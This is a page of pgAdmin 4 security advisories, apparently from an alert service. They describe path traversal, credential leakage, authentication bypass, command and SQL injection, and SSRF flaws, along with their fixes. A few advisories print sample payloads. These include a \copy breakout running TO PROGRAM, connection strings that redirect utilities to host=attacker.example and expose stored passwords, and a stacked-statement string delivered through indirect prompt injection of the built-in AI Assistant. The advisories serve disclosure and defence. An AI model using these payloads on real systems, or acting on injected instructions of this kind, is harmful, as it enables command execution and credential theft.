Where
-Infinity
0
Severity
7.1
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

In server mode pgAdmin 4 validates a path into the user's storage directory with checkaccesspermission(), which builds the absolute path with getabspath(). Several callers then acted on a path they built differently, so the path checked and the path used could name different files:

- Opening a file in the Query Tool, the Google client secret and, on Windows, Import/Export Data, Backup, Restore and saving a file joined the path to the storage directory after stripping leading slashes and backslashes. On POSIX a path checked as a name inside storage could become an absolute path once stripped, so any file the pgAdmin account can read could be opened; on Windows a path naming a drive discarded the storage directory, so these could read, or write, outside it. - Listing a folder decoded the path a second time after the check, so a folder named like an encoded "..", which a user can create, listed any directory on the host. - Download, delete, rename and the file-exists check appended the path to the storage directory without a separator, so in a deployment where one user's storage directory name is a prefix of another's, another user's files could be read, deleted or moved; download also checked the path appended to itself. - Creating a folder could create one in another user's directory.

The fix makes checkaccesspermission() return the path it checked and every caller act on that path, decodes folder paths once, and opens, deletes and renames files relative to directories opened from the storage directory without following symbolic links. Desktop mode is not affected.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
7.1
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

When a pgAdmin 4 connection was not meant to use a Kerberos user's delegated credentials, pgAdmin removed KRB5CCNAME from its environment, so the Kerberos library fell back to the default credential cache, or a client keytab, of the operating-system account running pgAdmin. libpq then answered any server that asked for GSSAPI authentication with that account's ticket, whatever user name the pgAdmin user gave, so in server mode any user could connect as the service account's Kerberos principal; gssencmode=disable did not prevent it. On Windows, SSPI used the service account's logon in the same way. psql was also started with pgAdmin's environment, which could hold another user's credential cache while that user was connecting.

The fix points KRB5CCNAME and KRB5CLIENTKTNAME at a file that cannot exist except while a Kerberos-authenticated user connects with Kerberos, and gives every other connection, psql and the utilities requireauth=!gss,!sspi and gssencmode=disable, checked on the final connection string. requireauth needs libpq 16 or later.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
7.7
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

pgAdmin 4 runs pgdump, pgrestore, pgdumpall and psql from the binary path a user sets in their preferences. In server mode the binary path was refused only when it lay under the per-user storage directory (STORAGEDIR), not under a SHAREDSTORAGE directory, which ordinary users can upload files to. A user could therefore upload an executable to shared storage, point their binary path at it, and have pgAdmin run it as the operating-system account running pgAdmin. On POSIX, files created through pgAdmin are not executable, so this is exploitable where any file with an executable name can run, such as Windows server mode.

The fix checks the binary path against every SHAREDSTORAGE directory as well, after expanding $DIR, collapsing ".." and resolving symbolic links, compares directories in a way a different spelling on a case-insensitive filesystem cannot bypass, refuses a path containing a NUL, and enforces the check wherever binary paths are resolved, including for the PSQL tool.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
7.1
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

pgAdmin 4's materialized view refresh passed the target database's name to psql's --dbname argument unchanged. libpq treats a --dbname value containing "=" (or a postgresql:// URI) as a full connection string, whose keywords override the host, port and other settings pgAdmin had supplied. A database whose name is such a string, which any role with CREATEDB can create, therefore redirected the psql process pgAdmin starts for the refresh to a host and port of the creator's choosing, and the connecting user's saved server password was presented to that endpoint. It also let the pgAdmin host be made to open connections to arbitrary addresses.

The same weakness was fixed for Backup, Restore, Maintenance and Import/Export Data in earlier releases (CVE-2026-86862); the materialized view refresh was the remaining caller. The fix routes the name through the same databaseconninfo() helper, so libpq treats it strictly as a database name.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
6
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

In pgAdmin 4 server mode only administrators are meant to share a server with all users; the server dialog shows the Shared switch only to them. The create and update endpoints of the server API, however, stored the "shared" flag and shared username they were sent, so any user able to register a server could share one with every other user. The servers.json import had a similar gap: a non-administrator's "Shared" entries were removed only after validation, so a file that also held an invalid entry could create a shared server.

A shared server carries no credentials, so this gives no direct access. It lets a user plant a server, named to look trusted, in every other user's tree and pointing at a host the user controls; anyone who then connects to it presents their own database password to that host.

The fix refuses a non-administrator's request that would share a server with HTTP 403, prunes a non-administrator's shared entries from a servers.json import before validating it, and warns at startup about servers shared earlier by non-administrators.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
9.2
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

In server mode pgAdmin 4 locks an internal account after MAXLOGINATTEMPTS failed logins (3 by default). The limit could be bypassed, giving an unauthenticated attacker an unlimited number of password guesses against any internal account, including the administrator's, in the default configuration:

- Flask-Security registers its own views next to pgAdmin's. A login submitted to its /login view was checked and logged in without pgAdmin's failed login count or lock. Its /verify view checked a signed-in user's password without limit, its /change view changed a password without pgAdmin's change password permission or re-encrypting the user's saved server passwords, and its /reset views sent and applied password resets for accounts that are not internal or are locked. - The internal account was looked up by its exact username, while the login form matches the email ignoring case, so a login with the username typed in another case was neither counted nor checked for the lock. - With LDAP or webserver authentication also configured, a wrong internal password was never counted, and with Kerberos or webserver authentication configured a guess could be answered without being counted.

In addition, where accounts from different authentication sources share an email address, a password reset could be sent for, or applied to, an account from another source, and the About box showed the server configuration to a user whose email was that of an administrator's account.

The fix refuses submissions to Flask-Security's own views, counts every failed internal login however the username is typed and whatever other sources are configured, no longer lets a login that posts a password fall back to an authentication source that does not check it, and locks only internal authentication. Password resets and the About box act only on the user's own internal account. Desktop mode is not affected.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
7.1
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

When a server in pgAdmin 4 had no password file, client certificate or client key configured, or the configured one could not be found, pgAdmin left the parameter out of the connection and libpq fell back to the defaults of the operating-system account running pgAdmin: ~/.pgpass, ~/.postgresql/postgresql.crt and postgresql.key, or PGPASSFILE, PGSSLCERT and PGSSLKEY. In server mode any user could therefore connect to a server with the service account's saved passwords or client certificate, and supplying only a copy of its public certificate was enough for libpq to pair it with the service account's private key. A pgservice.conf entry, or a maintenance database name read as a connection string by pgdumpall, could bring the same files back for the utilities.

The fix gives each of these parameters a value in server mode, the user's own file or otherwise a path that can never be opened, in the connection string, in the environment of the utilities and in the --dbname connection string that ranks above a service entry. Desktop mode is unchanged.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
7.3
AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

In server mode pgAdmin 4 validates a path a user gives for a file in their storage directory with checkaccesspermission() and then opened it by name. Several places opened it with a plain open() or handed the path to a utility that opened it later: the servers.json export and import and the import file listing, and the files given to pgdump, pgdumpall, pgrestore and psql by Backup, Restore and Import/Export Data. A symbolic link swapped in at the file or at any parent directory between the check and the open redirected the operation outside the storage directory, so a file could be written, overwritten or read, or loaded into a table, as the operating-system account running pgAdmin. A hard link to an outside file, which ONOFOLLOW does not detect, and a FIFO, which could hang a request, had the same effect. CVE-2026-86861 fixed this for the File Manager's savefile; these were the remaining paths.

Exploitation requires creating such a link or FIFO inside the user's storage directory. pgAdmin offers no way to do so, and the per-user storage directories belong to the pgAdmin account, so this requires write access to the storage backend as a different operating-system user, for example a shared or network-mounted storage directory, and winning the race.

The fix opens each file by walking down from the storage directory one component at a time with ONOFOLLOW, accepting only a regular file with one link, and passes the utilities the open descriptor (/dev/fd/N) on Linux. Error messages no longer include the server path.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
2.3
AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

pgAdmin 4 did not invalidate a user's existing sessions when their password changed, either through the user's own change password dialog or through an administrator resetting it in User Management. A session established before the change, for example on another device or by someone who had obtained the old password or a session cookie, therefore stayed logged in after the change, which is the step a user or administrator takes precisely to cut such access off. It remained usable until it expired.

The fix rotates the user's session identifier (fsuniquifier) whenever the password is changed, so every other session of that user is logged out. The session that made the change is logged in again and keeps its database connections. Saved server passwords, including those for shared servers, are re-encrypted under the new key; any that cannot be decrypted are cleared and the user is told. If re-encryption fails, the sessions are still revoked and the saved passwords are cleared rather than the change failing.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
7
AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:N

To pass a server's password to psql and to the utilities pgAdmin 4 runs as background processes, the server manager wrote it into pgAdmin's own process environment: as PGPASSWORD for the PSQL tool, and under a per-process variable for a utility. Nothing removed it afterwards. pgAdmin's environment is shared by every user's requests and copied into every process it starts, so in server mode another user's later PSQL session or utility inherited the password, and libpq used PGPASSWORD for any connection made without a password of its own, letting one user connect with another user's saved password.

The fix puts the password only into the environment built for the process that needs it and starts psql with a copy of pgAdmin's environment instead of the environment itself.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
7.1
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

libpq looks a connection service up in the service file of the operating-system account running pgAdmin 4, and an entry there can hold a password or name a password file or client certificate. In server mode any user could set a server's Service, or a "service" connection parameter, to one of those entries and connect with its credentials. A PGPASSWORD or PGSERVICE variable set for that account was likewise used by libpq for every connection without a value of its own and passed on to the utilities, and pgdumpall read a maintenance database name such as "service=..." as a connection string.

The fix adds the SERVERMODEALLOWEDSERVICES setting, empty by default: in server mode only a listed service can be used, the servicefile parameter is refused, and PGPASSWORD and PGSERVICE are removed from pgAdmin's environment at startup. The allowlist is checked again on the final connection string, and the pgdumpall database name is wrapped as a connection string.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
7.2
Path Traversal
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L

In server mode pgAdmin 4 resolves a server's password file, SSL certificate, key, CRL and SSH tunnel identity file relative to the user's storage directory, but getcompletefilepath() only stripped leading slashes before joining the two. A path such as "../<another user>/.pgpass", set through the server dialog, the REST API or a servers.json import, therefore named another user's file, and connecting used that user's saved passwords, client certificate or SSH key. The sslkeylogfile connection parameter was passed to libpq unchanged, so a path outside storage let libpq create or append a file as the account running pgAdmin.

makeconninfo() also quoted connection parameter values but not their names, so a crafted parameter name could smuggle additional keyword=value pairs past these checks.

The fix requires the resolved path, with symbolic links followed, to stay inside the user's storage directory or the named shared storage directory, confines sslkeylogfile the same way, and accepts only exact libpq keywords as connection parameter names. A refused path or keyword is reported instead of letting libpq fall back to a default.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
7.1
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

pgAdmin 4 opens SSH tunnels with the sshtunnel library but gave it neither hostpkeydirectories nor sshconfigfile, so it always loaded the unencrypted private keys in ~/.ssh of the operating-system account running pgAdmin, read that account's ~/.ssh/config (IdentityFile, User, HostName, ProxyCommand) for the tunnel host, and could use its ssh-agent. In server mode any user could therefore configure a tunnel to a host that accepts the service account's key, with no credentials of their own or with an identity file that did not exist in their storage, and reach it as that account.

The fix makes tunnels in server mode use only the identity file or password the user configured: the service account's keys, configuration and agent are no longer used, and an identity file that cannot be found in the user's storage is reported instead of falling back to ~/.ssh. Desktop mode is unchanged.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
8.9
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

In server mode pgAdmin 4 keeps an account per authentication source, so the same username can exist as, for example, an internal account and an LDAP account. After LDAP or Kerberos authenticated a user, pgAdmin chose the account to log in by username alone, or took the account Flask-Security's login form had looked up, without checking that it came from the source that authenticated the user. The session therefore belonged to another account, with its role, its servers and its saved database passwords:

- An LDAP or Kerberos user whose username matched an internal account was logged in as that internal account, including the administrator account created when pgAdmin is first set up. - With internal authentication listed before LDAP or Kerberos in AUTHENTICATIONSOURCES, the login form's internal validation looks up the account whose email was typed and keeps it even though its password does not match. A Kerberos user could type another Kerberos user's principal and be logged in as that user, and an LDAP user could do the same with an LDAP account whose email is their username.

Exploitation requires valid credentials for an LDAP directory or Kerberos realm that pgAdmin is configured to use.

The fix looks the account up by the authenticated username and the source that authenticated it, and no longer uses the account the login form found for any source but internal authentication. Internal authentication logs in that account only if it is an internal account. Desktop mode is not affected.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
9.4
OS Command Injection
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

pgAdmin 4's Import/Export Data tool wraps a user's query export in a psql \copy (...) TO command and checks that the query's parentheses are balanced so that nothing can escape the wrapper. The check rejected a backslash inside a single-quoted string, but not inside a double-quoted identifier, where it treated the next double quote as closing the identifier. psql's \copy parser applies the connection's escape character to whichever quote opened a token, so with standardconformingstrings off a backslash-escaped double quote does not close the identifier. pgAdmin's and psql's view of the quoting then diverged, a closing parenthesis hidden from the check ended the \copy (...) wrapper, and a following TO PROGRAM clause was executed by psql on the pgAdmin host, as the operating-system account running pgAdmin, before the server rejected the statement. An ordinary database role can turn standardconformingstrings off for itself, and the Import/Export Data permission is granted to non-administrators by default.

This is a bypass of the fix for CVE-2026-17566. The fix rejects any backslash inside a double-quoted identifier, as was already done for single-quoted strings, since its meaning depends on a server setting that cannot be known reliably when the query is validated.

This issue affects pgAdmin 4: before 9.19.

First published (updated )
Severity
9.1
Command Injection, Code Injection
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

pgAdmin versions up to 9.10 are affected by a Remote Code Execution (RCE) vulnerability that occurs when running in server mode and performing restores from PLAIN-format dump files. This issue allows attackers to inject and execute arbitrary commands on the server hosting pgAdmin, posing a critical risk to the integrity and security of the database management system and underlying data.

1 / 2
Source: MITRE
First published (updated )
Severity
9.1
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

pgAdmin versions up to 9.10 are affected by a Remote Code Execution (RCE) vulnerability that occurs when running in server mode and performing restores from PLAIN-format dump files. This issue allows attackers to inject and execute arbitrary commands on the server hosting pgAdmin, posing a critical risk to the integrity and security of the database management system and underlying data.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

/misc/workspace/adhocconnectserver, part of the Workspaces feature introduced in pgAdmin 4 9.0, when passed the id of an existing server, clones that server via Server.clone(), which copies every column from the source row, including userid, shared, sharedusername, and the stored credential fields password, savepassword, and tunnelpassword. When a non-owner triggered an adhoc connect against another user's (in practice, typically an administrator's) shared server, the clone inherited that user's ownership, shared flag, and stored database credentials verbatim. pgAdmin persisted this cross-tenant, credential-bearing server row before the connection was even attempted, so it survived even when the connection subsequently failed. The non-owner could then open the newly-owned clone and pgAdmin would connect using the source user's stored database password on the non-owner's behalf, granting the non-owner use of database credentials -- and whatever database privileges they confer -- that were never their own.

Fix forces the cloned adhoc record's ownership fields (userid, shared, sharedusername) and stored credential fields (password, savepassword, tunnelpassword) to belong to the calling user and be cleared/private before committing, regardless of the source server's ownership, sharing state, or stored credentials. A regression test asserts that an adhoc connect triggered by a non-owner against another user's shared server persists a row owned by the caller, not shared, and without the source's stored credentials.

This issue affects pgAdmin 4: from 9.0 before 9.17.

First published (updated )
Severity
6.9
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

In SERVER mode, pgAdmin 4 enforces authentication per route via the @pgaloginrequired decorator; the application's beforerequest hook only handles desktop-mode auto-login and the Kerberos/Webserver-auth redirect, so any route shipped without the decorator is reachable without authentication (CWE-306). This is the same defect class previously fixed as CVE-2026-12046 (the sqleditor close/updateconnection routes).

A follow-up sweep, prompted by a report describing an incomplete fix for CVE-2026-12046, found further routes missing @pgaloginrequired: the Constraints blueprint's nodes and proplist (object listing) routes and its delete route (a state-mutating DELETE that removes table constraints); preferences.getallcli (GET, discloses all CLI-settable preference values); debugger.close (DELETE); and schemadiff.close (DELETE). An unauthenticated network client could therefore enumerate constraint metadata, delete table constraints, read preference values, and force-close debugger or schema-diff sessions belonging to other users, without ever authenticating.

Fix adds the missing @pgaloginrequired decorator (and the corresponding import to the Constraints module) to each of these routes. The change is decorator-only; no behavioral changes to the underlying handlers.

This issue affects pgAdmin 4 in SERVER mode: the Constraints and Debugger routes from 1.0, the Schema Diff close route from 4.18, and preferences.getallcli from 8.2, all before 9.17.

First published (updated )
Severity
5.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

The per-tool permission system (custom roles / role-based tool permissions, introduced in pgAdmin 4 9.3) did not enforce its permission check consistently. In SERVER mode, pgAdmin 4 gates each tool behind a per-tool Flask-Security permission, but the permission decorator (permissionsrequired) was applied only to a single "front door" route per tool. Every other backend route and Socket.IO handler in that tool's workflow relied solely on pgaloginrequired/socketloginrequired, which check authentication but not the tool permission.

The reporter verified three cases against a test build: (1) a user without toolsquerytool permission received 403 on the protected sqleditor initialization route, but the same session went on to connect the server, initialize the viewdata backend chain, and retrieve real table row content; (2) a user without toolsgrantwizard received 403 on the protected acl route, but the same session still enumerated grantable objects, generated GRANT SQL, and successfully applied it -- confirmed database-side via hastableprivilege(); (3) a user without toolsschemadiff received 403 on the protected panel route, but the same session initialized schema diff, enumerated and connected databases, and obtained real DDL differences via the comparedatabase Socket.IO handler. The reporter also confirmed a related but distinct issue: a non-owner triggering /misc/workspace/adhocconnectserver against an administrator-owned shared server caused pgAdmin to persist a new server row still owned by the administrator (userid/shared unchanged from the source), even though the connection attempt itself reported failure.

During remediation, the same front-door-only permission gap was found to also affect the ERD, PSQL, and Debugger tools, and the Backup, Restore, Maintenance, and Import/Export blueprints, none of which were part of the original report; these were fixed using the same pattern as an extension of the reported defect class.

An authenticated user who had valid pgAdmin login and a stored, working database connection, but had been explicitly denied a specific tool's permission by an administrator, could therefore still drive that tool end-to-end through its other routes and sockets, including obtaining an interactive psql session over the /pty Socket.IO namespace and invoking backup/restore/maintenance/import-export jobs.

Because the bypass only restores access to tools operating over the user's own already-authenticated database connection, it does not grant the user any database privilege they did not already hold; it circumvents pgAdmin's own tool-level access-control policy (an organisational segregation-of-duties control, separate from database-level authorization), letting a user reach a pgAdmin feature an administrator intended to withhold from them, using capabilities their existing database role already permits through other means.

Socket.IO event handlers had no permission-aware equivalent of permissionsrequired; only socketloginrequired existed, checking authentication but not the tool permission.

Fix adds a socketpermissionsrequired decorator (mirroring permissionsrequired, honouring the Administrator bypass, reading permissions via haspermission()) and applies it, alongside permissionsrequired, as the outermost decorator on every backend route and Socket.IO handler for the affected tools. Regression tests assert 403 on every gated route and socket handler for a permission-less user.

This issue affects pgAdmin 4 in SERVER mode: from 9.3 before 9.17.

First published (updated )
Severity
8.7
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

The fix for CVE-2026-12044 in pgAdmin 4 9.16 hardened qtLiteral and switched sixteen COMMENT ON / pgstattuple / pgstatindex templates to it, but missed several sinks that had been placed in testsqlstringliterallint.py's ALLOWLIST on the incorrect assumption that schema, table, publication, and subscription names sourced from pgcatalog via the browser tree could never contain an apostrophe. PostgreSQL permits arbitrary characters in quoted identifiers, so a low-privileged user able to CREATE TABLE, CREATE PUBLICATION, or CREATE SUBSCRIPTION can plant an apostrophe'd object name that breaks out of the unescaped '{{ name }}' template interpolation the moment any user (including a higher-privileged one) opens that object's Statistics or Dependencies tab, allowing arbitrary SQL statement injection in the viewing user's database session.

Affected sinks: the Index Statistics query for all-indexes listing (collstats.sql, both the 16plus and default PostgreSQL-version template variants -- distinct from the single-index stats.sql path already fixed in CVE-2026-12044), and the publication and subscription dependencies.sql / getposition.sql templates (both the pg and ppas/EPAS dialect variants for publications).

Fix switches all of these templates to qtLiteral(conn) for name interpolation, and updates publications/init.py and subscriptions/init.py to pass conn=self.conn into the dependencies.sql rendertemplate call so the qtLiteral filter has a connection to quote against. The corresponding ALLOWLIST entries in testsqlstringliterallint.py are removed now that these sinks are properly escaped rather than merely assumed safe. A behavioral regression test renders each fixed template with a stacked-statement apostrophe payload and asserts both that the object name appears exactly as qtLiteral-escaped and that the rendered SQL parses as exactly one statement, verifying the assertion genuinely fails against the pre-patch raw-interpolation form.

This issue affects pgAdmin 4: the Index Statistics sink from 1.0, and the Publications/Subscriptions sinks from 5.0, both before 9.17.

First published (updated )
Severity
7.7
OS Command Injection
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

The MASTERPASSWORDHOOK setting, introduced in pgAdmin 4 7.2, lets an administrator configure an external command that returns a per-user encryption key, with %u in the configured string replaced by the current user's name. The previous implementation substituted the username directly into the command string and executed the result with subprocess.Popen(..., shell=True). Because the username can originate from an external authentication source (OAuth/OIDC claims, Kerberos, webserver auth) rather than a value pgAdmin fully controls, a username containing shell metacharacters (';', '$()', backticks, pipes, '&&', newlines) allowed an authenticated user to execute arbitrary commands as the pgAdmin service account in any deployment where the configured hook string uses %u.

Fix tokenises the trusted, administrator-configured hook string into an argument vector first (using shlex in POSIX-quoting mode, with backslash-escaping disabled so Windows-style paths are not mis-parsed), substitutes the untrusted username into the individual argv elements, and executes with shell=False. The username is therefore always confined to a single argv element; any shell metacharacters it contains are inert. Administrators whose MASTERPASSWORDHOOK previously relied on shell features (pipes, redirection, environment-variable expansion, globbing) within the hook string itself must move that logic into the invoked script, since it is no longer interpreted by a shell.

This issue affects pgAdmin 4: from 7.2 before 9.17.

First published (updated )
Severity
9.4
SQL Injection
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

The fix for CVE-2026-12045 in pgAdmin 4 9.16 required the LLM-supplied query passed to the AI Assistant's executesqlquery tool to parse, via sqlparse, as exactly one non-transaction-control statement before running it inside a BEGIN TRANSACTION READ ONLY wrapper. sqlparse's string-literal lexing can disagree with PostgreSQL's own parser: under standardconformingstrings = on (PostgreSQL's default since 9.1), a backslash immediately before a quote is an ordinary character to PostgreSQL, but sqlparse treats it as escaping the quote. A payload such as SELECT '\';COMMIT;CREATE TABLE pwn(x int);SELECT 1 --' therefore parses as a single SELECT to sqlparse's validator, while PostgreSQL executes it as four statements: the smuggled COMMIT ends the wrapping read-only transaction, and the trailing ROLLBACK becomes a no-op. This reintroduces the same write/RCE bypass CVE-2026-12045 was meant to close, reachable via the same indirect prompt-injection delivery (an attacker plants the payload in any object the AI Assistant may read; the LLM emits it as a tool call).

An initial candidate fix ran the query with psycopg's execute(..., prepare=True), intending to force PostgreSQL's own Parse step (extended query protocol) to reject multi-statement text regardless of sqlparse's classification. This candidate fix does not work as submitted: psycopg3's PrepareManager silently ignores the prepare argument whenever the connection's preparethreshold is None, which is pgAdmin's default for every server connection (the per-server "Prepare threshold" field is blank unless an administrator explicitly sets it) -- psycopg3 falls back to the simple query protocol, the same multi-statement-capable path the bypass exploits, so the candidate fix closes nothing on any real-world default configuration.

The corrected fix sets conn.preparethreshold = 0 directly on the dedicated, single-use read-only connection the AI Assistant tool opens, structurally forcing the extended query protocol independent of any server-level configuration. Verified against a live PostgreSQL 18 instance: the payload executes successfully under the preparethreshold=None (default) behavior, and is rejected with "cannot insert multiple commands into a prepared statement" once preparethreshold=0 is set on that connection.

This issue affects pgAdmin 4: from 9.13 before 9.17.

First published (updated )
Severity
9.4
OS Command Injection
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

pgAdmin 4's Import/Export Data tool builds a psql \copy (...) command line by interpolating a user-supplied SQL query into a Jinja template and passing the rendered line to psql via --command. To stop an attacker from breaking out of the (...) wrapper, createimportexportjob() (route POST /importexport/job/<sid>, gated only by the ordinary, commonly-granted toolsimportexportdata permission) validated the query with a hand-written parenthesis-balance checker, isqueryparensbalanced(). That checker always treated a backslash before a single quote (\') as escaping the quote, i.e. as if standardconformingstrings were off. PostgreSQL has defaulted standardconformingstrings to on since 9.1 (2010), the default on every PostgreSQL version pgAdmin 4 currently supports (13-18); under that default psql's own \copy tokenizer treats \ as an ordinary character, so a single quote immediately after it closes the string literal. A query such as SELECT 'a\') TO PROGRAM 'echo pwned' x' was therefore accepted as "balanced" by pgAdmin's checker (which believed the ) was still inside the string), while psql, run through the actual rendered command line, closes the string at that point and treats the following ) as the end of the wrapping \copy (...) subquery, exposing an attacker-chosen TO PROGRAM '<command>' clause that psql executes via popen() -- independent of a subsequent syntax error later on the same line. This is the same class of bug as CVE-2025-12762/CVE-2025-13780 (RCE via psql meta-command/COPY injection during PLAIN-format dump restore), reached through an independently written defense in a different module (Import/Export Data rather than Restore) that had its own, different logic bug (inverted backslash-escape semantics rather than a BOM-defeated regex anchor).

The fix rejects any backslash inside a single-quoted string in the query outright, rather than picking one of the two possible psql interpretations. This is intentionally conservative: because the correct interpretation of \ depends on the target server's standardconformingstrings setting, which the checker cannot reliably know at validation time, refusing the query is safer than guessing.

This issue affects pgAdmin 4: from the introduction of isqueryparensbalanced() before 9.18.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

pgAdmin <= 9.9  is affected by a vulnerability in the LDAP authentication mechanism allows bypassing TLS certificate verification.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

pgAdmin <= 9.9  is affected by an LDAP injection vulnerability in the LDAP authentication flow that allows an attacker to inject special LDAP characters in the username, causing the DC/LDAP server and the client to process an unusual amount of data DOS.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
Command Injection, OS Command Injection
AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

pgAdmin 4 versions up to 9.9 are affected by a command injection vulnerability on Windows systems. This issue is caused by the use of shell=True during backup and restore operations, enabling attackers to execute arbitrary system commands by providing specially crafted file path input.

First published (updated )
Severity
8.7
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pgdump argument vector as a bare trailing positional argument, without validation. Because pgdump parses its options with getoptlong, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pgdump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.

The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pgdump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the toolsbackup permission, which is granted to the default User role.

The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.

This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

pgAdmin 4's Webserver authentication source is intended to accept an identity asserted by the web server or reverse proxy in front of pgAdmin, delivered through the WSGI/CGI environment. WebserverAuthentication.getuser() read config.WEBSERVERREMOTEUSER from request.environ and, when that returned nothing, fell back to reading the same name directly from the inbound HTTP request headers via request.headers.get(). An inbound HTTP header is written by whoever sends the request, so any client able to reach pgAdmin could supply that header itself and be authenticated as any username it named, including an existing Administrator, without presenting a password or any other credential. The environment lookup could also be satisfied by a client-supplied header whenever WEBSERVERREMOTEUSER was configured to an HTTP-prefixed or hyphenated name such as HTTPXFORWARDEDUSER or X-Forwarded-User, since WSGI servers place inbound headers into the environment under exactly those names. Deployments are affected only when 'webserver' is enabled in AUTHENTICATIONSOURCES.

The fix distinguishes a genuine CGI/WSGI variable from a header-derived one and implicitly trusts only the former. A header-asserted identity is now accepted only when the operator explicitly opts in via WEBSERVERREMOTEUSERFROMHEADER, the request arrives from a peer listed in WEBSERVERTRUSTEDPROXIES, and, when configured, a shared secret supplied in WEBSERVERSHAREDSECRETHEADER matches WEBSERVERSHAREDSECRET under a constant-time comparison. The trusted-peer check deliberately reads the real socket peer address rather than request.remoteaddr, because ProxyFix rewrites the latter from the client-controlled X-Forwarded-For header and would otherwise allow an attacker to claim to be the trusted proxy. As defence in depth, login() now refuses any account whose authsource is not 'webserver', so a misconfigured trust gate cannot be used to assume an internal or LDAP account.

This issue affects pgAdmin 4: from 6.2 before 9.18.

First published (updated )
Severity
7.1
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pgrestore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.

The behaviour is reachable by any authenticated user holding the toolsrestore or toolsmaintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.

The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pgrestore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.

This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
